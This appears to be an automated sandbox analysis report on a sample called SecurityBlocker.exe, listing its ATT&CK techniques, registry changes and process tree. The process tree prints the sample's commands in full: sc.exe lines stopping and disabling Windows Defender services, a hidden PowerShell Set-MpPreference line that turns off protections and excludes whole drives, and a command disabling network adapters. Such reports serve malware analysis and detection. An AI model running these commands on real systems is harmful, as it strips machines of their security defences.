a3b6d68c6d8626065ed6c829040c10b77c48fffee38ae01996eca4674523bab5

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	SecurityBlocker.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	SecurityBlocker.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	SecurityBlocker.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	SecurityBlocker.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	SecurityBlocker.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	SecurityBlocker.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScriptScanning = "1"	SecurityBlocker.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "4"	SecurityBlocker.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3904	powershell.exe
3928	powershell.exe
468	powershell.exe
3928	powershell.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Loads dropped DLL 10 IoCs

pid	Process
3596	SecurityBlocker.exe
3596	SecurityBlocker.exe
3596	SecurityBlocker.exe
3596	SecurityBlocker.exe
3596	SecurityBlocker.exe
3596	SecurityBlocker.exe
3596	SecurityBlocker.exe
3596	SecurityBlocker.exe
3596	SecurityBlocker.exe
3596	SecurityBlocker.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Windows security modification 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

persistence privilege_escalation

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	SecurityBlocker.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "4"	SecurityBlocker.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtectionSource = "4"	SecurityBlocker.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection	SecurityBlocker.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	SecurityBlocker.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	SecurityBlocker.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	SecurityBlocker.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	SecurityBlocker.exe

Launches sc.exe 16 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3920	sc.exe
3992	sc.exe
744	sc.exe
3996	sc.exe
2068	sc.exe
5044	sc.exe
2432	sc.exe
2924	sc.exe
4404	sc.exe
1540	sc.exe
240	sc.exe
536	sc.exe
4248	sc.exe
1660	sc.exe
2812	sc.exe
4684	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3904	powershell.exe
3904	powershell.exe
3928	powershell.exe
3928	powershell.exe
468	powershell.exe
468	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3904	powershell.exe
Token: SeDebugPrivilege	3928	powershell.exe
Token: SeDebugPrivilege	468	powershell.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 2528 wrote to memory of 3596	2528	SecurityBlocker.exe	80
PID 3596 wrote to memory of 3904	3596	SecurityBlocker.exe	81
PID 3596 wrote to memory of 1660	3596	SecurityBlocker.exe	83
PID 3596 wrote to memory of 2432	3596	SecurityBlocker.exe	85
PID 3596 wrote to memory of 1540	3596	SecurityBlocker.exe	87
PID 3596 wrote to memory of 3992	3596	SecurityBlocker.exe	89
PID 3596 wrote to memory of 240	3596	SecurityBlocker.exe	91
PID 3596 wrote to memory of 744	3596	SecurityBlocker.exe	93
PID 3596 wrote to memory of 536	3596	SecurityBlocker.exe	95
PID 3596 wrote to memory of 2924	3596	SecurityBlocker.exe	97
PID 3596 wrote to memory of 4248	3596	SecurityBlocker.exe	99
PID 3596 wrote to memory of 3996	3596	SecurityBlocker.exe	101
PID 3596 wrote to memory of 2068	3596	SecurityBlocker.exe	103
PID 3596 wrote to memory of 4404	3596	SecurityBlocker.exe	105
PID 3596 wrote to memory of 3920	3596	SecurityBlocker.exe	107
PID 3596 wrote to memory of 2812	3596	SecurityBlocker.exe	109
PID 3596 wrote to memory of 4684	3596	SecurityBlocker.exe	111
PID 3596 wrote to memory of 5044	3596	SecurityBlocker.exe	113
PID 3596 wrote to memory of 3928	3596	SecurityBlocker.exe	115
PID 3596 wrote to memory of 1508	3596	SecurityBlocker.exe	117
PID 3596 wrote to memory of 468	3596	SecurityBlocker.exe	120

C:\Users\Admin\AppData\Local\Temp\SecurityBlocker.exe
"C:\Users\Admin\AppData\Local\Temp\SecurityBlocker.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2528
- C:\Users\Admin\AppData\Local\Temp\SecurityBlocker.exe
  "C:\Users\Admin\AppData\Local\Temp\SecurityBlocker.exe"
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  - Modifies Windows Defender Real-time Protection settings
  - Modifies Windows Defender TamperProtection settings
  - Loads dropped DLL
  - Windows security modification
  - Suspicious use of WriteProcessMemory
  PID:3596
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Unblock-File -Path \"C:\Users\Admin\AppData\Local\Temp\SecurityBlocker.exe\" -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3904
- - C:\Windows\SYSTEM32\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:1660
- - C:\Windows\SYSTEM32\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:2432
- - C:\Windows\SYSTEM32\sc.exe
    sc stop WdNisSvc
    3⤵
    - Launches sc.exe
    PID:1540
- - C:\Windows\SYSTEM32\sc.exe
    sc config WdNisSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:3992
- - C:\Windows\SYSTEM32\sc.exe
    sc stop WdNisDrv
    3⤵
    - Launches sc.exe
    PID:240
- - C:\Windows\SYSTEM32\sc.exe
    sc config WdNisDrv start= disabled
    3⤵
    - Launches sc.exe
    PID:744
- - C:\Windows\SYSTEM32\sc.exe
    sc stop WdFilter
    3⤵
    - Launches sc.exe
    PID:536
- - C:\Windows\SYSTEM32\sc.exe
    sc config WdFilter start= disabled
    3⤵
    - Launches sc.exe
    PID:2924
- - C:\Windows\SYSTEM32\sc.exe
    sc stop WdBoot
    3⤵
    - Launches sc.exe
    PID:4248
- - C:\Windows\SYSTEM32\sc.exe
    sc config WdBoot start= disabled
    3⤵
    - Launches sc.exe
    PID:3996
- - C:\Windows\SYSTEM32\sc.exe
    sc stop Sense
    3⤵
    - Launches sc.exe
    PID:2068
- - C:\Windows\SYSTEM32\sc.exe
    sc config Sense start= disabled
    3⤵
    - Launches sc.exe
    PID:4404
- - C:\Windows\SYSTEM32\sc.exe
    sc stop MsSecFlt
    3⤵
    - Launches sc.exe
    PID:3920
- - C:\Windows\SYSTEM32\sc.exe
    sc config MsSecFlt start= disabled
    3⤵
    - Launches sc.exe
    PID:2812
- - C:\Windows\SYSTEM32\sc.exe
    sc stop SecurityHealthService
    3⤵
    - Launches sc.exe
    PID:4684
- - C:\Windows\SYSTEM32\sc.exe
    sc config SecurityHealthService start= disabled
    3⤵
    - Launches sc.exe
    PID:5044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisableScriptScanning $true -SubmitSamplesConsent 2 -MAPSReporting 0 -HighThreatDefaultAction 6 -ModerateThreatDefaultAction 6 -LowThreatDefaultAction 6 -SevereThreatDefaultAction 6; Add-MpPreference -ExclusionPath 'C:\' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'D:\' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3928
- - C:\Windows\SYSTEM32\netsh.exe
    netsh interface show interface
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:1508
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-NetAdapter | Disable-NetAdapter -Confirm:$false -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:468

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry